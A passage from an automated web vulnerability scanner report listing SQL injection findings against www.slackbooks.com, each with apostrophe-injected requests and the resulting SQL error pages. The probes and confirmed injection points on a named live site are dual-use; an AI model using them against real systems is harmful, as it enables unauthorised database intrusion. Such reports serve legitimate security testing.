Date: Sun, 06 Feb 2011 16:56:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.53. http://www.slackbooks.com/ccacl [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccacl

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ccacl' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9939

<html>
<head>
<title>Unclosed quotation mark before the character string 'ccacl''.<br>Line 1: Incorrect syntax near 'ccacl''.</title>
<style>
body {font-family:"Verdan
...[SNIP]...

Request 2

GET /ccacl'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11960

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.54. http://www.slackbooks.com/ccacl [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccacl

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ccacl?1'=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9884

<html>
<head>
<title>Line 1: Incorrect syntax near '='.<br>Unclosed quotation mark before the character string ''.</title>
<style>
body {font-family:"Verdana";font-wei
...[SNIP]...

Request 2

GET /ccacl?1''=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.55. http://www.slackbooks.com/ccknee [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccknee

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ccknee' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9949

<html>
<head>
<title>Unclosed quotation mark before the character string 'ccknee''.<br>Line 1: Incorrect syntax near 'ccknee''.</title>
<style>
body {font-family:"Verd
...[SNIP]...

Request 2

GET /ccknee'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11962

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.56. http://www.slackbooks.com/ccknee [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccknee

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ccknee?1'=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9884

<html>
<head>
<title>Line 1: Incorrect syntax near '='.<br>Unclosed quotation mark before the character string ''.</title>
<style>
body {font-family:"Verdana";font-wei
...[SNIP]...

Request 2

GET /ccknee?1''=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.57. http://www.slackbooks.com/clinical+nursing+resources [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/clinical+nursing+resources

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /clinical+nursing+resources' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10149

<html>
<head>
<title>Unclosed quotation mark before the character string 'clinical+nursing+resources''.<br>Line 1: Incorrect syntax near 'clinical+nursing+resources''.</title>
<
...[SNIP]...

Request 2

GET /clinical+nursing+resources'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12030

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.58. http://www.slackbooks.com/essentialknee [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/essentialknee

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /essentialknee' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 05 Feb 2011 22:09:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10019

<html>
<head>
<title>Unclosed quotation mark before the character string 'essentialknee''.<br>Line 1: Incorrect syntax near 'essentialknee''.</title>
<style>
body {fon
...[SNIP]...

Request 2

GET /essentialknee'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:09:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=xekihsnsspcr3pi5wrb1km45; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.59. http://www.slackbooks.com/essentialknee [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/essentialknee

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /essentialknee?1'=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 05 Feb 2011 22:09:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9884

<html>
<head>
<title>Line 1: Incorrect syntax near '='.<br>Unclosed quotation mark before the character string ''.</title>
<style>
body {font-family:"Verdana";font-wei
...[SNIP]...

Request 2

GET /essentialknee?1''=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:09:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=q1glzym555hwgv3nndsy4d55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.60. http://www.slackbooks.com/gastroenterology [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/gastroenterology

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /gastroenterology' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:57:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10049

<html>
<head>
<title>Unclosed quotation mark before the character string 'gastroenterology''.<br>Line 1: Incorrect syntax near 'gastroenterology''.</title>
<style>
bod
...[SNIP]...

Request 2

GET /gastroenterology'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:57:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11998

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.61. http://www.slackbooks.com/homemodification [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/homemodification

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /homemodification' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:59:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10049

<html>
<head>
<title>Unclosed quotation mark before the character string 'homemodification''.<br>Line 1: Incorrect syntax near 'homemodification''.</title>
<style>
bod
...[SNIP]...

Request 2

GET /homemodification'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:59:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11998

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.62. http://www.slackbooks.com/homemodification [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/homemodification

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /homemodification?1'=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:59:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9884

<html>
<head>
<title>Line 1: Incorrect syntax near '='.<br>Unclosed quotation mark before the character string ''.</title>
<style>
body {font-family:"Verdana";font-wei
...[SNIP]...

Request 2

GET /homemodification?1''=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:59:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.63. http://www.slackbooks.com/occupational+therapy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/occupational+therapy

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /occupational+therapy' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:01:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10089

<html>
<head>
<title>Unclosed quotation mark before the character string 'occupational+therapy''.<br>Line 1: Incorrect syntax near 'occupational+therapy''.</title>
<style>

...[SNIP]...

Request 2

GET /occupational+therapy'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:01:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.64. http://www.slackbooks.com/ophthalmic+technology [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmic+technology

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ophthalmic+technology' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:00:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10099

<html>
<head>
<title>Unclosed quotation mark before the character string 'ophthalmic+technology''.<br>Line 1: Incorrect syntax near 'ophthalmic+technology''.</title>
<style>

...[SNIP]...

Request 2

GET /ophthalmic+technology'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:00:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.65. http://www.slackbooks.com/ophthalmology [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmology

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /ophthalmology' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:01:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10019

<html>
<head>
<title>Unclosed quotation mark before the character string 'ophthalmology''.<br>Line 1: Incorrect syntax near 'ophthalmology''.</title>
<style>
body {fon
...[SNIP]...

Request 2

GET /ophthalmology'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:01:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.66. http://www.slackbooks.com/orthopedics [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/orthopedics

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /orthopedics' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sat, 05 Feb 2011 22:09:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9999

<html>
<head>
<title>Unclosed quotation mark before the character string 'orthopedics''.<br>Line 1: Incorrect syntax near 'orthopedics''.</title>
<style>
body {font-fa
...[SNIP]...

